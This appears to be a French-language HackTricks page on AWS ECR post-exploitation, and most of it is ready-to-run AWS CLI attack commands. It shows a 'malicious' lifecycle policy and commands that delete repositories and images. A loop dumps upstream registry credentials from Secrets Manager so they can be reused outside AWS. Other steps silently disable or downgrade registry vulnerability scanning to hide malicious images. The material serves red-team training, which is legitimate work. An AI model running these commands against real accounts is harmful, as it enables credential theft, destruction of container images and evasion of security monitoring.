AWS - ECR Post Exploitation
Reading time: 8 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
ECR
Pour plus d'informations, consultez
Login, Pull & Push
# Docker login into ecr
## For public repo (always use us-east-1)
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
## For private repo
aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
# Download
docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
## If you still have the error "Requested image not found"
## It might be because the tag "latest" doesn't exit
## Get valid tags with:
TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
# Inspect the image
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
docker inspect <account id>.dkr.ecr.<region>.amazonaws.com/<image>:<tag> # Inspect the image indicating the URL
# Upload (example uploading purplepanda with tag latest)
docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
# Downloading without Docker
# List digests
aws ecr batch-get-image --repository-name level2 \
--registry-id 653711331788 \
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
## Download a digest
aws ecr get-download-url-for-layer \
--repository-name level2 \
--registry-id 653711331788 \
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
AprÚs avoir téléchargé les images, vous devez les vérifier pour des informations sensibles :
ecr:PutLifecyclePolicy | ecr:DeleteRepository | ecr-public:DeleteRepository | ecr:BatchDeleteImage | ecr-public:BatchDeleteImage
Un attaquant disposant de l'une de ces permissions peut créer ou modifier une lifecycle policy pour supprimer toutes les images du dépÎt puis supprimer l'ensemble du dépÎt ECR. Cela entraßnerait la perte de toutes les images de conteneurs stockées dans le dépÎt.
# Create a JSON file with the malicious lifecycle policy
echo '{
"rules": [
{
"rulePriority": 1,
"description": "Delete all images",
"selection": {
"tagStatus": "any",
"countType": "imageCountMoreThan",
"countNumber": 0
},
"action": {
"type": "expire"
}
}
]
}' > malicious_policy.json
# Apply the malicious lifecycle policy to the ECR repository
aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
# Delete the ECR repository
aws ecr delete-repository --repository-name your-ecr-repo-name --force
# Delete the ECR public repository
aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
# Delete multiple images from the ECR repository
aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
# Delete multiple images from the ECR public repository
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
Exfiltrer les identifiants des registres upstream depuis ECR PullâThrough Cache (PTC)
Si ECR PullâThrough Cache est configurĂ© pour des registres upstream authentifiĂ©s (Docker Hub, GHCR, ACR, etc.), les identifiants upstream sont stockĂ©s dans AWS Secrets Manager avec un prĂ©fixe de nom prĂ©visible : ecr-pullthroughcache/. Les opĂ©rateurs accordent parfois aux administrateurs ECR un accĂšs large en lecture Ă Secrets Manager, ce qui permet l'exfiltration des identifiants et leur rĂ©utilisation en dehors d'AWS.
Prérequis
- secretsmanager:ListSecrets
- secretsmanager:GetSecretValue
ĂnumĂ©rer les secrets PTC potentiels
aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
--output text
Dump les secrets découverts et parse les champs communs
for s in $(aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
aws secretsmanager get-secret-value --secret-id "$s" \
--query SecretString --output text | tee /tmp/ptc_secret.json
jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
done
Optionnel : valider les leaked creds contre l'upstream (login en lecture seule)
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
Impact
- La lecture de ces entrĂ©es Secrets Manager fournit des identifiants rĂ©utilisables du registre upstream (nom d'utilisateur/mot de passe ou token), qui peuvent ĂȘtre abusĂ©s en dehors d'AWS pour rĂ©cupĂ©rer des images privĂ©es ou accĂ©der Ă des dĂ©pĂŽts supplĂ©mentaires selon les permissions upstream.
Dissimulation au niveau du registre : désactiver ou rétrograder le scan via ecr:PutRegistryScanningConfiguration
Un attaquant disposant de permissions ECR au niveau du registre peut rĂ©duire silencieusement ou dĂ©sactiver l'analyse automatique des vulnĂ©rabilitĂ©s pour TOUS les dĂ©pĂŽts en dĂ©finissant la registry scanning configuration sur BASIC sans aucune rĂšgle scan-on-push. Cela empĂȘche les nouvelles pushes d'images d'ĂȘtre analysĂ©es automatiquement, dissimulant des images vulnĂ©rables ou malveillantes.
Prérequis
- ecr:PutRegistryScanningConfiguration
- ecr:GetRegistryScanningConfiguration
- ecr:PutImageScanningConfiguration (optionnel, par dépÎt)
- ecr:DescribeImages, ecr:DescribeImageScanFindings (vérification)
Rétrogradation à l'échelle du registre vers manuel (pas d'analyses automatiques)
REGION=us-east-1
# Read current config (save to restore later)
aws ecr get-registry-scanning-configuration --region "$REGION"
# Set BASIC scanning with no rules (results in MANUAL scanning only)
aws ecr put-registry-scanning-configuration \
--region "$REGION" \
--scan-type BASIC \
--rules '[]'
Test avec un repo et une image
acct=$(aws sts get-caller-identity --query Account --output text)
repo=ht-scan-stealth
aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true
aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile
docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test .
docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test
# Verify no scan ran automatically
aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus'
# Optional: will error with ScanNotFoundException if no scan exists
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
Optionnel : dĂ©grader davantage Ă lâĂ©chelle du dĂ©pĂŽt
# Disable scan-on-push for a specific repository
aws ecr put-image-scanning-configuration \
--region "$REGION" \
--repository-name "$repo" \
--image-scanning-configuration scanOnPush=false
Impact
- Les nouvelles images poussées dans le registre ne sont pas analysées automatiquement, réduisant la visibilité du contenu vulnérable ou malveillant et retardant la détection jusqu'à ce qu'une analyse manuelle soit lancée.
Dégradation du moteur de scan à l'échelle du registre via ecr:PutAccountSetting (AWS_NATIVE -> CLAIR)
RĂ©duisez la qualitĂ© de dĂ©tection des vulnĂ©rabilitĂ©s sur l'ensemble du registre en basculant le moteur de scan BASIC du dĂ©faut AWS_NATIVE vers l'ancien moteur CLAIR. Cela n'empĂȘche pas l'analyse mais peut modifier de maniĂšre significative les rĂ©sultats/la couverture. Combinez avec une configuration de scan BASIC du registre sans rĂšgles pour rendre les analyses uniquement manuelles.
Prérequis
ecr:PutAccountSetting,ecr:GetAccountSetting- (Optional)
ecr:PutRegistryScanningConfiguration,ecr:GetRegistryScanningConfiguration
Impact
- Le paramĂštre du registre
BASIC_SCAN_TYPE_VERSIONest réglé surCLAIR, de sorte que les scans BASIC suivants s'exécuteront avec le moteur dégradé. CloudTrail enregistre l'appel APIPutAccountSetting.
Ătapes
REGION=us-east-1
# 1) Read current value so you can restore it later
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true
# 2) Downgrade BASIC scan engine registryâwide to CLAIR
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR
# 3) Verify the setting
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION
# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manualâonly scans)
aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true
# 5) Restore to AWS_NATIVE when finished to avoid side effects
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
HackTricks Cloud